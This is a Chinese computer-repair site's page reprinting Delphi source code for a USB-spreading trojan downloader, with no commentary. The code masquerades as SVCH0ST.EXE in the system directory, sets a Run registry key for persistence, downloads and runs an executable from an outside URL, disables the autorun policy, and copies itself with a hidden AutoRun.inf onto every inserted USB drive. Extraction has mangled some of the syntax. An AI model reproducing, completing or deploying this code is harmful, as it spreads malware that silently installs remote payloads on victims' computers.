厦门电脑维修 厦门电脑维修 厦门网络维护 厦门网络维护 厦门网站建设 厦门网站建设 厦门企业IT外包 厦门企业IT外包 厦门电脑组装 厦门电脑组装
联系电话:0592-5332246  13850004471   在线QQ:88299251    公告&新闻:
当前位置:首页 >> 病毒木马 >> 正文       厦门电脑维修  厦门网络维护  厦门网站建设  厦门企业IT外包 >>
 
 
 

下载者U盘传染源码

来源:厦门电脑维修网 点击数:   录入时间:07-04-06 20:07:39
unit Un_Main;


interface


uses
     Windows
MessagesSysUtils,Forms,IniFiles
;
type
     TFrm_Main 
= class(TForm
)
     
procedure FormCreate(SenderTObject
);
     
procedure FormClose(SenderTObject; var ActionTCloseAction
);
     
private
     procedure WMDeviceChange
(var MsgTMessage); message WM_DEVICECHANGE
;
     
public
     
Public declarations 
}
     
end
;
const 
         
exefile 'SVCH0ST.EXE'
;
         
Buffer 'http://www.888.com/hello.exe'
;
         
DBT_DEVICEARRIVAL = $8000;     
// system detected a new device
         
DBT_DEVICEREMOVECOMPLETE = $8004;     
// device is gone
         
DBT_DEVTYP_VOLUME = $00000002;     
// logical volume
         
DBTF_MEDIA = $0001;     
// media comings and goings
type
    PDEV_BROADCAST_HDR 
= ^TDEV_BROADCAST_HDR
;
    
TDEV_BROADCAST_HDR 
packed record
     dbch_size 
DWORD
;
     
dbch_devicetype DWORD
;
     
dbch_reserved DWORD
;
    
end
;
     
PDEV_BROADCAST_VOLUME = ^TDEV_BROADCAST_VOLUME
;
     
TDEV_BROADCAST_VOLUME 
packed record
         dbcv_size 
DWORD
;
         
dbcv_devicetype DWORD
;
         
dbcv_reserved DWORD
;
         
dbcv_unitmask DWORD
;
         
dbcv_flags WORD
;
     
end
;


function 
UrlDownLoadToFile(Caller,URL,FileNamePAnsiChar;ReservedLongWord
;
                                     
StatusCBPointer): LongWord
;
                                     
stdcallexternal 'URLMON.DLL' name 'URLDownloadToFileA'
;


function 
WinExec(lpCmdlinePAnsiCharuCmdShowLongWord): LongWord
;
                         
stdcallexternal 'kernel32.dll' name 'WinExec'
;


var
     
Frm_MainTFrm_Main
;
     
exefull:string
;
implementation


{$R *.dfm
}


function 
SetRegValue(key:Hkeysubkey,name,value:string):boolean
;
var
regkey:hkey
;
begin
     result 
:= false
;
     
RegCreateKey(key,PChar(subkey),regkey
);
     if 
RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 
0 then
     result 
:= true
;
     
RegCloseKey(regkey
);
end
;


procedure Startup(var TheName:string
);
begin
     SetRegValue
(HKEY_LOCAL_MACHINE,'SoftwareMicrosoftWindowsCurrentVersionRun','SVCH0ST',TheName
);
     
UrlDownloadToFile(nilPChar(Buffer), PChar(TheName), 0nil
);
     
SetFileAttributes(PChar(TheName),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM
);
     
messagebox(0,'文件下载成功!','成功',MB_OK
);
     
WinExec(PChar(TheName), SW_SHOWDEFAULT
);
     
//Sleep(500);
     //DeleteMe;
     //freemem(@path,256);
end
;

 

procedure TFrm_Main.WMDeviceChange(var MsgTMessage);
var
     
lpdb PDEV_BROADCAST_HDR
;
     
lpdbv PDEV_BROADCAST_VOLUME
;
     
unitmask:DWORD
;
     
i:integer
;
     
MyIni:TIniFile
;
     
s:Hkey
;
     
value:dword 
;
     
inifile:string
;
begin
     lpdb 
:= PDEV_BROADCAST_HDR(Msg.LParam
);
     case 
Msg.
WParam of
     DBT_DEVICEARRIVAL 
:
//有设备安装完毕


     
if lpdb.dbch_devicetype=
DBT_DEVTYP_VOLUME then
     begin
         lpdbv 
:= PDEV_BROADCAST_VOLUME(lpdb
);
         
unitmask:=lpdbv.dbcv_unitmask;
//取得设备的盘符
         
for i:=0 to 25 do 
//遍历磁盘
         
begin
             
if Boolean(unitmask and $1)then
//看该驱动器的状态是否发生了变化
             
break;
             
unitmask := unitmask shr 1
;
         
end
;
         if 
fileexists(exefullthen     
//向u盘拷文件
         
begin
         copyfile
(PChar(exefull),Pchar(char(i+65) + 
':' + exefile),false);
         FileSetAttr(char(i+65) + '
:
' + exefile,$00000003);
         end;
         inifile:=char(i+65)+'
:AutoRun.inf
';//ini文件
         RegOpenKeyEx(HKEY_CURRENT_USER, '
SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
', 0, KEY_ALL_ACCESS, s);
         value:=0;
         RegSetValueEx(s,'
NoDriveTypeAutoRun
',0, REG_DWORD,@value, sizeof(value));
         RegCloseKey(s);
         if fileexists(inifile) then
         begin
         FileSetAttr(inifile,$00000000);
         DeleteFile(inifile);
         end;
         MyIni := TIniFile.Create(inifile);
         MyIni.WriteString('
AutoRun', 'open
',exefile);
         FileSetAttr(inifile,$00000003);
     end;
    end;
end;


procedure TFrm_Main.FormCreate(Sender: TObject);
var
s:hkey;
value:array[0..255]of char;
size:cardinal;
path:array[0..255] of char;
begin
     Application.ShowMainForm:=False;
     getsystemdirectory(path,120);
     exefull := strpas(path) + '' + exefile;
     size:=256;
     RegOpenKeyEx(HKEY_LOCAL_MACHINE,'
SoftwareMicrosoftWindowsCurrentVersionRun
',0,KEY_ALL_ACCESS,s);
     RegQueryValueEx(s,'
SVCH0ST
',nil,nil,@value,@size);
     RegCloseKey(s);
     //文件存在且有自启动
     if fileexists('
C:WINDOWSsystem32SVCH0ST.EXE
') and (UpperCase(value) = UpperCase(exefull)) then
     messagebox(0,'
自启动成功!','成功'
,MB_OK)
     else
     Startup(exefull);//下载执行函数
end;


procedure TFrm_Main.FormClose(Sender: TObject; var Action: TCloseAction);
begin
     Application.Terminate;
end;


end

 
·上一篇文章:
·下一篇文章:
责任编辑:longzun  文章作者:网络维护

我们的服务:厦门电脑维修  厦门网络维护  厦门网站建设  电脑组装  厦门企业IT外包      联系电话:0592-5332246  13850004471  

联系我们  |  广告服务  |  免责声明  |  汇款方式  |    |  友情连接
©2006-2008 xmka.com / xmka.com 版权所有 神州时代网络
E-mail:ceose@163.com QQ:88299251
闽ICP备06006680号